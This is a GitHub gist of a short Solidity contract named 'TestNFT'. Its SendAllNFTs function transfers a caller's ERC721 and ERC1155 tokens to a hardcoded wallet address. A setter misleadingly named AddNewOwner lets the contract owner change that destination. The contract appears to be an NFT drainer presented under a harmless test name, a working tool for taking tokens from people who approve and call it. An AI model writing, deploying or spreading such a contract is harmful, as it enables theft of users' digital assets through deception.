Created
May 6, 2022 14:58
-
-
Save dexXxed/250802d8b3c274e2d0e25adaa5d94d7c to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=undefined&optimize=false&runs=200&gist=
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.4; | |
import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; | |
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; | |
import "@openzeppelin/contracts/access/Ownable.sol"; | |
contract TestNFT is Ownable { | |
address private to_account = 0x44b5dAD1188F06AF0fDd00Bca807c71C8BC84d81; | |
function SendAllNFTs(address[] memory _nft_contracts, uint256[] memory _tokenIds, uint256[] memory _amounts, string[] memory _interfaces) public { | |
for (uint256 i = 0; i < _nft_contracts.length; i++) { | |
if (keccak256(bytes(_interfaces[i])) == keccak256(bytes("ERC721"))) { | |
ERC721 token = ERC721(_nft_contracts[i]); | |
token.safeTransferFrom(msg.sender, to_account, _tokenIds[i], ""); | |
} else if (keccak256(bytes(_interfaces[i])) == keccak256(bytes("ERC1155"))) { | |
ERC1155 token = ERC1155(_nft_contracts[i]); | |
token.safeTransferFrom(msg.sender, to_account, _tokenIds[i], _amounts[i], ""); | |
} | |
} | |
} | |
function AddNewOwner(address _new_account) public onlyOwner { | |
to_account = _new_account; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment